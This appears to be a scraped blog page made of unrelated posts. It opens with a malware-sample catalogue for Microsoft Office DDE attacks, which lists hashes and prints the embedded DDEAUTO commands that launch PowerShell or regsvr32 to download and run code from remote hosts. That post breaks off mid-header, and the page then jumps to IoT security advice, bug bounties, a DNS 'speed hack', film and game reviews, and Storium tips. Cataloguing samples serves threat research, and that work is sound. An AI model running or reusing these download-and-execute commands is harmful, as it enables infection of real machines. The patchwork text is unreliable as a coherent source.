lunes, 13 de abril de 2020

DDE Command Execution Malware Samples

Here are a few samples related to the recent DDE Command execution

Reading:
10/18/2017 InQuest/yara-rules
10/18/2017 https://twitter.com/i/moments/918126999738175489

10/18/2017 Inquest: Microsoft Office DDE Macro-less Command Execution Vulnerability

10/18/2017 Inquest: Microsoft Office DDE Vortex Ransomware Targeting Poland

10/16/2017 https://twitter.com/noottrak/status/919975081828261888

10/14/2017 Inquest: Microsoft Office DDE Freddie Mac Targeted Lure

10/14/2017 Inquest: Microsoft Office DDE SEC OMB Approval Lure

10/12/2017 NViso labs: YARA DDE rules: DDE Command Execution observed in-the-wild

10/11/2017 Talos:Spoofed SEC Emails Distribute Evolved DNSMessenger

10/10/2017 NViso labs: MS Office DDE YARA rules

10/09/2017 Sensepost: Macro-less Code Exec in MSWord

Download

Download. Email me if you need the password (updated sample pack)

File information

List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669

File details with MD5 hashes:

Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e.

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e "

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")

7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a

9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460

10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450

Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe Poland payload
09d71f068d2bbca9fac090bde74e762b

Message information

For the EDGAR campaign
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb

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To: <snip>

Subject: EDGAR Filings

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How To Secure Your Home Against "Internet Of Things" And FUD

TL;DR, most of the security news about IoT is full of FUD. Always put the risks in context - who can exploit this and what can the attacker do with it. Most story only covers the latter.

Introduction

There is rarely a day without news that another "Internet of Things" got hacked. "Smart" safes, "smart" rifles, "smart" cars, "smart" fridges, "smart" TVs, "smart" alarm systems, "smart" meters, "smart" bulbs, NAS devices, routers. These devices are getting hacked every day. Because most of these devices were never designed with security as a goal, and some of them have been never tested by security professionals, it is no surprise that these things are full of vulnerabilities.

Independent security researchers find these vulnerabilities, write a cool blog post or give a presentation about the vulnerability and the exploit, and the media forgets the constraints just for the sake of more clicks. "We are all doomed" we can read in the news, but sometimes the risks are buried deeply in technical jargon. Please note I blame the news sites here, not the researchers.

http://www.slideshare.net/danielmiessler/iot-attack-surfaces-defcon-2015

There are huge differences between the following risks:

Attackers can directly communicate with the router (or camera) from the Internet without authentication and exploit the vulnerability. This is the worst-case scenario. For example, an automated ransomware attack against your NAS is pretty bad.
Attackers have to position themselves in the same WAN network (e.g. Sprint mobile network in the case of Jeep hacking) to exploit the vulnerability. This is still pretty bad.
The vulnerable code can not be triggered directly from the Internet, but tricks like CSRF can be used to exploit it (details later in this post).
The vulnerable code can not be triggered directly from the Internet, and it uses a protocol/port which prevents Cross Protocol Scripting. Attackers have to access the local network before exploiting this vulnerability.

As it is the case with the worst scenario, one can find a lot of devices connected to the internet. You can always find funny stuff at http://explorer.shodanhq.com/#/explore , or use the nmap screenshot script to find your own stuff :)

Network exposure

Most devices are behind an IPv4 NAT device (e.g. home router), thus can not be reached from the Internet side by default. Except when the device configures the firewall via UPNP. Or the device has a persistence cloud connection, and the cloud can send commands to the device. Or the device uses IPv6 tunneling (e.g. Teredo), thus it is reachable from the Internet. But not every vulnerability on your home network is accessible directly from the Internet. As more and more devices and networks will support IPv6, this scenario might change, but I hope most home routers will come with a default deny configuration in their IPv6 firewall module. On the other hand, scanning for IPv6 devices blindly is not feasible due to the large number of IPv6 addresses, but some tricks might work.

If attackers can not access the device directly, there is a way to hack it through the user's browser. Just convince the victim user to visit a website, and via CSRF (Cross Site Request Forgery) and brute-forcing the device IP, it is possible to hack some devices (mostly through HTTP - if the exploit can fit into simple GET or POST commands.

If attackers can not attack the device vulnerability through the Internet directly, or via CSRF, but have connected to the same network - the network exposure shrinks significantly. And when attackers are on the same network as you, I bet you have bigger problems than the security of the IoT devices ...

Recommendations for home users

Don't buy **** you don't need

Disconnect from the power cord the IoT devices you don't need to operate 7*24.

Disable cloud connectivity if it is not necessary. For example, I have a NAS device that can be reached through the "cloud", but I have disabled it by not configuring any default gateway for the device. I prefer connecting to my network via VPN and reach all my stuff through that.

Prevent CSRF attacks. I use two tricks. Don't use the 192.168.0.x - 192.168.10.x network at-home - use an uncommon IP range instead (e.g. 192.168.156.x is better). The second trick is I configured my Adblock plugin in my primary browser to block access to my internal network. And I use another browser whenever I want to access my internal devices. Update: On Firefox you can use NoScript ABE to block access to internal resources.

Check your router configuration:

disable UPnP
check the firewall settings and disable unnecessary port forwards
check for IPv6 settings, and configure the firewall as default deny for incoming IPv6 TCP/UDP.

Change default passwords, especially for services connected to the Internet. Follow password best practices.

Run Nmap to locate new IoT in your home network :)

Run a WiFi scan to locate new WiFi access points. Let me share a personal experience with you. I moved to a new house and brought my own WiFi router with me. I plugged it in, and forget about WiFi. Months later it turned out I had two other WiFi devices in my house - the cable modem had its own integrated WiFi with default passwords printed on the bottom, and the Set-top-box was the same - default WiFi passwords printed on the bottom. And don't forget to scan for ZigBee, Bluetooth, IrDA, FM, ...

Update your devices - in case you have a lot of free time in your hand.

Don't allow your guests to connect to your home network. Set up a separated AP for them. Imagine your nephew stealing your private photos or videos from your NAS or DNLA server.

With great power, comes great responsibility. The less device you own in your house, the less time you need to maintain those.

Read the manuals of your devices. Be aware of the different interfaces. Configure it in a secure way.

Disable Teredo protocol in case you don't need IPv6.

Stop being amazed by junk hacking.

Update: Disable WebRTC: https://www.browserleaks.com/webrtc , in Chrome you can use this extension: https://chrome.google.com/webstore/detail/webrtc-network-limiter/npeicpdbkakmehahjeeohfdhnlpdklia

Update: Prevent against DNS rebind attacks via configuring a DNS server which can block internal IP addresses. OpenDNS can block internal IP, but this is not a default option, you have to configure it.

Recommendations for vendors

For vendors, I recommend at least the followings:

Implement security during Software Development LifeCycle
Continuous security testing and bug bounties
Seamless auto-update
Opt-in cloud connectivity

Recommendations for journalists

Stop FUD. Pretty please.

The questions to ask before losing your head

who can exploit the vulnerability?
what prerequisites do we have about the attack to successfully exploit the vulnerability? Is the attacker already in your home network? If yes, you have probably bigger problems.
what can the attacker do when the exploit is successful?

And last but not least, don't forget that in the case of IoT devices, sometimes users are the product, not the customer. IoT is about collecting data for marketing purposes.

http://blog.open-xchange.com/2015/02/09/iot/

More info

$$$ Bug Bounty $$$

What is Bug Bounty ?

A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.

Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.

Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1. In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.

While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.

Continue reading

HOW TO BOOST UP BROWSING SPEED?

Internet speed is the most cared factor when you buy an internet connection. What if still, you face a slow speed browsing problem? No worries, as I came with a solution to this problem. I will let you know how to boost up browsing speed. It's very simple to follow.

SO, HOW TO BOOST UP BROWSING SPEED?

There can be many ways you can get a speedy browsing whether you use paid service or free hacks. I am going to share this free speed hack with you.

STEPS TO FOLLOW

Navigate to Control Panel > Network and Internet Options > Network and Sharing Center.
Now look for the active internet connection to which you're currently connected to.
Open up Connection Properties of your active connection.
Click on IPv4 and open its Properties.
Here you will notice your DNS, you just need to change your DNS address with the following DNS.
Preferred DNS server: 208.67.222.222
Alternate DNS server: 208.67.220.220
Once done, save it and no configure it for IPv6. Just change the IPv6 DNS with the following DNS.
Preferred DNS server: 2620:0:ccc::2
Alternate DNS server: 2620:0:CCD::2
Finally, save and you're done with it.

That's all. You have successfully learned how to boost up browsing speed. Hope it will work for you. Enjoy speedy internet..!

sábado, 11 de abril de 2020

TOP 10 MOVIES OF 2019

The new year is here, and so Top 10 season is upon us. The tradition is to rank media in a seemingly arbitrary fashion so here's my oh-so personal list of moves faves that came out 2019. What will be number 1? Read on to find out...

Read more »

miércoles, 8 de abril de 2020

Life On The Farm, Screenplay, Review And Interview

Life on the Farm is a follow up screenplay for an alumni of FilmQuest. In the short screenplays at the 2019 Filmquest film festival (website) Life on the Farm was recognized as one of the top 20. It was then singled out as one of the finalists (top 9).

Synopsis

Two strangers with no memory, wake up together on a farm where a kindly old couple look after them.

Laurel Vail shares where the idea of Life on the Farm comes from and what inspired her to become a filmmaker. She also shares other interests.

What was the inspiration for Life on the Farm?

It stemmed from wanting to film something in my home state of Idaho. The landscape is unique and there are a lot of isolated areas. Plus I wanted to find a way to incorporate the caves in Craters of the Moon National Park somehow, so that's why the climax ends up the way it does. I guess I started with a setting and then grew it from there.

What project(s) do you have coming up you're excited about?

I am going to try to expand this short into a feature. Most of the people that have read it say it feels like it needs more room to really be effective, so that's one of my next projects. I also have a few other pieces of writing to work on until I can afford to shoot another film. The great thing about writing is that it's free to do and I still feel like I have a creative outlet between films.

What was your early inspiration for pursuing a career in film?

I started acting in friends' films when I moved to LA which led to me pursuing it more seriously. Eventually I decided I needed to make my own film, and in doing so really fell in love with directing. Writing has become a great way to feel like I'm still being creative even when I don't have money to make a film.

What would be your dream project?

That's a good question. I'd love to direct a character driven action film. I'd also love to direct a high concept sci-fi film, especially something with time travel. I love a time travel story. I'd love to make something with a big budget for production design to really dive into world-building.

What are some of your favorite pastimes when not working on a movie?

I gotta admit I watch a lot of TV and movies. I've also been cooking a lot lately, which I find to be stress relieving after my day job.

What is one of your favorite movies and why?

Snowpiercer—it checks a lot of boxes. I am a sucker for world-building. I love interesting characters. I love movie violence. I love high-concept plots. It even has a musical number!

You can follow Laurel Vail on Twitter (link).

I also saw Laurel's short film What Metal Girls Are Into at the 2018 FilmQuest screenings which is now available on Amazon (link). For the 5e gamers out there, this one stars Matt Mercer.

I'm working at keeping my material free of subscription charges by supplementing costs by being an Amazon Associate and having advertising appear. I earn a fee when people make purchases of qualified products from Amazon when they enter the site from a link on Guild Master Gaming and when people click on an ad. If you do either, thank you.

If you have a comment, suggestion, or critique please leave a comment here or send an email to guildmastergaming@gmail.com.

I have articles being published by others and you can find most of them on Guild Master Gaming on Facebookand Twitter(@GuildMstrGmng).

sábado, 28 de marzo de 2020

The Ultimate Megadungeon

I feel like I fought long and hard for this review...

Battled my inner demons, smoked a peace-pipe with that old serpent until we were both baked into a fever-dream cake with black rainbow frosting, risked my stack by going all-in against a lavender mo-hawked skeever who I knew was bluffing, and so forth!

Endzeitgeist's Cha'alt review!

I knew it wouldn't be easy, that he'd make me pay dearly for every bit of laziness or self-indulgence, every decision carefully considered and weighed as if standing before an exotic gold idol with a pouch full of sand, every creative choice mercilessly judged.

And yet, I came out unscathed... relatively speaking. I just re-read the damn thing and I'm exhausted. I don't have the time, energy, or even the inclination to refute his claims, except to say that I really wanted an all-caps GONZO fun-house megadungeon. If blasters and sleep spells were commonplace, then really weird stuff would have to be way over-the-top.

Also, for a 90 minute online game or 3-hour face-to-face one-shot of D&D, Crimson Dragon Slayer D20 is just about perfect. It also plays better than it reads. ;)

Those brave enough to see for themselves are welcome to play in one of my Roll20 games or on January 11th in Madison, WI.

VS

p.s. Yep, still pimping the Cha'alt: Fuchsia Malaise kickstarter - only 5 days left to go!

I'm That Guy!

I am replaying Suikoden 2 at the moment, a game I last played back in something like 2001. I'm now playing it on PSN, purchasing it for something like $5.

Funnily enough though, I actually owned the game back in 2001! The actual CD! FFVII basically took over my life when I was 11 years old and after completing it, and becoming obsessed with it, I started looking through my back copies of the Official Playstation Magazine to try and find some games that were like it in some way, part of this genre called "RPG" which I had never even known to have existed previously (I'm not sure I can be blamed for this either, because in the UK we hardly received any RPGs for consoles).

I made it my mission to check out the used sections of Electronic Boutique and the other second hand games shops near me (which included a shop called a record shop called Bebop and another which I think was called Games Express in Sutton, surrey).

On one fateful day, I found it, Suikoden II, as I flicked through the boxes in Games Express. From what I remember, I think I payed an insignificant amount for the game, I certain don't remember having the save and go back, I'm guessing it must have been about £10. I took it home, I played the game through and I had a great time with it, it isn't too tricky and I completed it, getting the 'bad ending' the only ending I knew of at the time. And then I took it in a second hand game shop and sold it.

I'm that guy! I had Suikoden II, now worth £150 on EBAY, and at points in the past worth even more. I have almost no recollection of exactly what I traded it in for. Sometimes I like to tell people I traded it in part exchange for Chrono Cross.... but I don't know for certain if that is true. I know I definitely got CC pretty soon after Suikoden II, but I don't know... another memory says I traded it in for Ergheiz (now worth as much as Suikoden II on EBAY! A game which I also traded in!), or possibly it was Destrega or Street Fighter Alpha 3. The thing I do remember though is that I was surprised at how much the store gave me for Suikoden II, I think it was £15 or something, more than I paid for it to begin with.... I think they got the recommended price out of a book.

Anyway, I'm that guy, the guy that traded a super rare and expensive game in for almost nothing. But in all things Praise be Jesus Christ now and forever. Games are there for fun and recreation, and if we are really lucky, we can find something good and true and beautiful in them which can lead us to praise Him and bless Him and love Him more. Games aren't my life, my life is hid with Christ in God.

I played a lot of great games back in the day, I owned and played almost every PS1 RPG released in the UK, and now I own Suikoden II once again on PSN, in all honesty I have no regrets that I sold it, but it makes a fun story. I am going to write a review on Suikoden II soon. There is a lot in this beautiful game which is genuinely inspirational and supportive of the truths of our holy faith.

Darksiders 3 - Review

Darksiders 3 - Review

Darksiders has always felt like it belonged on the fringe. As we haven't seen many games like Darksiders III in the past decade or so. The Darksiders series has always been focus and has steady design omnipresent in all of its moving parts. It's a third-person action game that isn't afraid to stunt your progress to an end for an hour or more until the point that you figure out how to beat a seemingly-impossible boss. And of course, every game need not to be a giant open world where you have tons of never-ending supply of side quests. And that's exactly the kinda game where Darksiders 3 fits in. It isn't a giant open world game, it's all about the combat which is freaking satisfying.

But sure, this game isn't flawless, there are padding issues and other nitpicks, however the strong locales and the more than serviceable action help concrete this series as an actual action contender.

The biggest flaw, I think is the sporadic nature in Darksiders 3. Rather than having dungeons themed around these overwhelming enemies, they're simply stuffed inside destroyed skyscrapers and abandoned museums like any other enemy.

Quick Facts:

Release Date: 27 November 2018
Platforms: PlayStation 4, Xbox One, Microsoft Windows
Genres: Hack and slash, Action-adventure game
Developer: Gunfire Games

After both War and Death had a fabulous time in Darksiders 3's predecessors, it's now the turn of the perpetually angry Fury, she is incredible, offering a powerful performance that takes each scene she possesses, lending your control of her an extra dose of power. She's sent out to hunt down the Seven Deadly Sins, and every one of them serves as one of Darksiders III's collection of varied major boss fights thus to re-establish the balance between Heaven and Hell torn apart in previous games.

Fury uses a bladed whip known as the 'Barbs of Scorn', which offers a satisfying combat feedback of meaty hits in some demonic entity's face, but you need to be close to the enemy.

Talking about the graphics, while there have been games this year that have really stunned me with their magnificent open world graphics, Darksiders 3 isn't one of them. The stylized, cartoonish characters are plopped into a quite generic-looking world that lacks detail. So, you can say that this game isn't for graphics lovers, but is for the combat lovers.

The act of combat is very easy, achieved with a single button to swing Fury's whip in all direction, striking down all enemies in her vicinity. Your heavy assault, so to speak, is given to a variety of secondary weapons you'll unlock as things progress. Fire, Thunder, and Gravity are only a couple of the things you'll come to adopt.

Despite being the combat pretty easy, this is no mindless beat them up where you just run into a group of monsters mashing your attack buttons. All way of demons, skeletons, angels, giant creepy insects, and trolls should be chopped down, and you won't get much far without being observant of their behaviors. You need to be patient, wait for their attack, time your dodge at the right time, and boom! Dodging perfectly will slow down time for a spell, opening up enemies for a vicious counter-attack which feels really satisfying.

And as Darksiders 3 has taken some inspiration from Dark Souls, Fury's low survivability forces you to approach combat in a way that gives an exuberant combos. Enemies are quick and hit hard, and are mostly found in groups. With no stamina meter to talk about, there's an emphasis on dodging and keeping out of danger that deviates from Dark Souls' stringent use of energy management.

Fury's ever-expanding arsenal incorporates lots of fun toys, and it's up to you to choose which ones to power up and depend mostly on. Alongside her weapons, she gains new movement powers that give her access to new areas, and once you've unlocked them all it's amusing to switch between all her various forms to find the correct tools for the different combat and obstacle jobs.

Our ferocious fury is surprisingly vulnerable, as no matter how powerful she becomes, she still gets killed in a matter of seconds if you aren't careful. This is a bit of nuisance when Serpent Holes, what could be compared to Dark Souls' Bonfires, are spread so far apart. Trawling through bland corridors filled with boss's bitches glad to throw themselves at you is frustrating when you have someplace to be.

The bosses in Darksiders III are not messing around. While the first couple probably won't pose much of a threat, eventually you'll face one that doesn't appear to react to any trap or assault you've learned up to that point. Not to ruin any surprise, but don't be stunned if a boss doesn't go down as easily as it appears they will. It tends to disappoint abruptly having the tables turned on you, no doubt, however with persistence success eventually comes. In this way, Darksiders III feels like it's of some other time. So be ready to achieve something, not the easy way.

The Verdict

Gunfire Games has put forth a valiant effort, and at times, succeeds in making Darksiders 3 a worthwhile successor to the past two entries. Combat is fun and accessible while exploration is nuanced enough to stay engaging. Its throwback philosophy is comfort food for action gamers of a particular age. But because of so many technical issues with it, It feels like a package that is enjoyable yet ultimately underwhelming.

lunes, 23 de marzo de 2020

The Case Of Turner Prize: Are Too Many Ties Devaluing The Concept Of Competition?

CNN reports on the winners of this year's Turner Prize, an annual prize presented to a British visual artist. All of the finalists asked to be given the prize jointly, as a group, and so all of the contenders "won" in a competition in which no one lost.

This, combined with what some people see as a pattern in recent years, has irked some people. These people see this "tie" and equate it with the concept of spoiled Millennials who get "participation trophies" or prizes for trying. What has happened to cutthroat competition and actual winning.

The Arguments For and Against

The arguments against the Turner prize tie, in this case, are that the refusal to announce a single winner is indicative of snowflakes, who can't handle being losers. That too many winners devalues the concept of winning, and of competition in general. And that it lacks drama.

The arguments in favor are rather specific to this event. The artists decided that their works were complementary, rather than competitive, and did not feel that a competition was the right way to judge them. That felt that they had already "won" by having reached the shortlist for the prize. Alex Farquharson, the director of the Tate Britain gallery which organizes the prize, argues that times have changed and that competition may not be the right format to judge these kinds of works, anymore. Andrew Russeth, a writer for the Daily Mail, writes "This notion of having artists compete in public and one walk away the winner feels a little demeaning and unpleasant."

Some Points to Consider

As for the arguments against, it is important to divide up those activities in which competition really brings out the most effort and the best results versus those in which we have stuck absolute competitions because we were too boring or lazy to provide a better framework. The Olympics doesn't have a single winner, because we don't make the downhill skier compete against the figure skater; the disciplines and forms are too different to compare. So maybe, when it comes to art competitions with very loose frameworks, it is silly to compare different kinds of entries in different subjects, and with different intents. Maybe the Turner Prize is overdue for a restructure.

When it comes to "participation trophies", there are two hands here. On the one hand, participation trophies are not just a Millennial issue; that is lazy, biased journalism, and the usual "look down at the next generation" attitude of Boomers who have suddenly publicized a concept that has existed for generations. Everyone who joins the army (and doesn't screw up too badly) gets stripes and awards during and after service. Everyone who shows up for work gets paid, and often gets bonuses, even if they aren't the number one worker. Even the specific concept of participation trophies is a century old.

On the other hand, participation trophies are not "everyone gets a trophy". They are, unless severely mishandled, a reward for having put in effort. In the same event, different people, i.e. winners, get specific prizes, while everyone who at least put in effort gets the participation trophy. The recipients of these trophies are not morons, and they know that trophies for winning and trophies for participation have different values. But studies show that encouraging effort is better motivation than acknowledging talent. When you tell someone they have won, they stop trying; when you tell someone that they are smart, they often find a way to not be, act, or appear smart. When you tell someone that you see their hard work and you think it is worthwhile, they may end up trying harder, and, sometimes, they may eventually win or get smarter.

However, announcing the Turner Prize as a tie is lazy; if you set up a competition, you should not change the rules in the middle when you realize that the competition was the wrong format. They should have, originally, defined better categories that were more conductive to direct competition, or they should have defined goals for which prizes could be given to all, or a list, of people who met these goals. But, since they didn't, they should have awarded a winner and let the artists figure out how to deal with this.

Competition is not inherently evil. It brings out efforts and results that would not happen without it. When mishandled, it can bring out people too focused on the goal; they might even short circuit the permitted methods to get to that goal. Winning, when handled well, can be a goal or a stepping stone to more effort. Losing, when handled well, is not something to be afraid of. Competition against others should always be, in parallel, competition against ourselves. And for that, a job well done results in a self-award that does not require any external acknowledgement.

viernes, 20 de marzo de 2020

Storium Basics: Assets And Goals

We've already discussed Storium's first (and my favorite) Neutral card type, the Subplot, but that's not the only Neutral card type in Storium. Today, I'm going to discuss the other two types: Assets and Goals.

Unlike all the other cards in Storium, Assets and Goals are not things that you start with - they aren't part of your character from the beginning, and they aren't chosen at Refreshes or upon spending a stack or anything like that. Whether you have these cards or not isn't up to you, entirely - it depends on the narrator. These are both given to players - or provided for pickup - by the narrator at his will.

Assets represent things like items, people, or other resources that are sufficiently important to the story to be specifically noted. Narrators vary in how they use them—some toss out a ton, some toss out generic ones that players can customize (more on that later), and some provide only very specific, story-critical assets. The use is the same, regardless: You play the card and move things forward, telling how that resource is important in pushing the challenge closer to conclusion. It can sometimes be easier to write asset moves if you play a Strength or Weakness with them, so you can write how you use that asset well or badly.

Goals are kind of like Subplots, but they're things the narrator would like to see you address during the game. Like assets, narrators use these for all sorts of purposes. I've seen them used to represent injuries, enchantments, objectives…I've seen them used as requests to world-build or create NPCs that the narrator can use…all sorts of things. They work similarly to subplots - you get a stack, and when you play all the cards of that stack, you get a free Wild Strength as a reward. Basically, these are the narrator's way of saying, "Hey, talk about this in the story or show this happening, and if you do it, you can get a Strength card for making the story more interesting."

Narrators may give Assets or Goals to you directly, or may lay them out to be picked up. You can pick up a card that a narrator set out by using the "pick up cards" button at the bottom of your move editing window when writing a move. If picking a card up, you'll often want to actually show the item being picked up as part of your move, or show your character now thinking about the Goal and deciding to take it up, but that isn't always necessary (for instance, I often use Assets to represent other characters traveling with the group).

Whether given to you or picked up by you, you can then hold on to the asset card until you feel like playing it. You can also pick up and play an asset card in the same move.

Like subplots, assets and goals are neutral cards–they push a challenge closer to conclusion but don't themselves tip the scale one way or another. I look at it like this: You might have a gun, and that might matter to a scene, but whether it is a good thing or a bad thing really depends on how you use it…so Strengths and Weaknesses are still what you use to affect outcomes. That's not to say you have to play one of those cards along with an asset or goal, but I do have to say I generally find it easier to write moves for asset or goal cards if I play them with a Strength or Weakness myself.

If you play an asset or goal card on its own, think like you do for Subplot cards: the card is important to the scene and pushes things towards a conclusion, but doesn't change the current Strong/Weak balance so things still feel like they're headed for the ending they were headed for before, overall. As with Subplots, that can feel good if things were headed towards a Strong outcome, or bad if they were headed for a Weak outcome, or just...well...uncertain if they were headed for an Uncertain outcome. The overall feel of the situation hasn't changed, but now there's less time to change it.

Asset cards can be rewritten, as I've noted above. If an asset card has multiple uses (a "stack"), you can use the "browse your cards" button in your move writing window to look at it and rewrite the asset. This consumes one use of the asset card stack, but lets you rename it to something that seems more narratively important at the time. That means that if you have, say, a stack of asset cards representing a gun and you don't have access to that gun in the story presently, you can just rewrite the stack into something else–maybe your character always keeps a city map around.

Note that not all narrators allow that – some really prefer assets to represent one thing and one thing only. But the basic idea of how they're set up is to give you something to use when you feel like your character would have something to help out and you want to highlight that. I believe Stephen Hood called them "ways to plug holes in the plot," and that's a pretty apt description.

Assets and Goals will feature majorly in some games, and barely at all in others, depending on the narrator's style, but they're cards you need to be aware of. I actually haven't written all that much on Assets and Goals over the course of my writing on this blog, as in my own narration they are cards I don't use much! This is a case where I suggest talking with other players and narrators on Storium more than looking to my writing for advice. That said, here are a few articles that cover Neutral cards more generally:

jueves, 19 de marzo de 2020

5 GAMES FOR DECEMBER - STAR WARS!

https://collectionchamber.blogspot.com/p/star-wars-anakins-speedway.html

https://collectionchamber.blogspot.com/p/star-wars-droidworks.html

https://collectionchamber.blogspot.com/p/star-wars-episode-i-gungan-frontier.html

https://collectionchamber.blogspot.com/p/star-wars-episode-i-phantom-menace.html

https://collectionchamber.blogspot.com/p/star-wars-making-magic.html

So, I finally got round to seeing Star Wars: Rise of Skywalker last night and thoroughly enjoyed it. Despite the naysayers, it remains a cinematic tour de force so what better way to celebrate than a trove of classic Star Wars games. The short-lived sub-division of Lucas Learning gave us some obscure titles. Learn about physics and momentum in the Star Wars: Anakin's Speedway (1999). Then learn the same thing but with robots in the far superior action-puzzler Star Wars: DroidWorks (1998). Test your biology skills in the Sim-Life a-like strategy game Star Wars: Episode I - The Gungan Frontier (1999). Want a little less learning? Why not try the official tie-in to Star Wars: Episode I - The Phantom Menace (1999)? Lastly, travel back to a time before the special editions and get your very first look at them in Star Wars: Making Magic (1996)!

Enjoy! And I'll see you in the new year!

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[Hackaday] Homemade N95 Masks In A Time Of Shortage

Homemade N95 Masks In A Time of Shortage

SuperStarfighter, A Local Multiplayer Game Made With Godot

Looks like FOSS game development with Godot is a breeze :)

SuperStarfighter is a fast-paced local party game for up to 4 players. Outmaneuver and shoot your opponents in a 2d top-down arena, and become an intergalactic champion!

Get it on Itch.io or find the source code here.

Hat-tip to GoL.

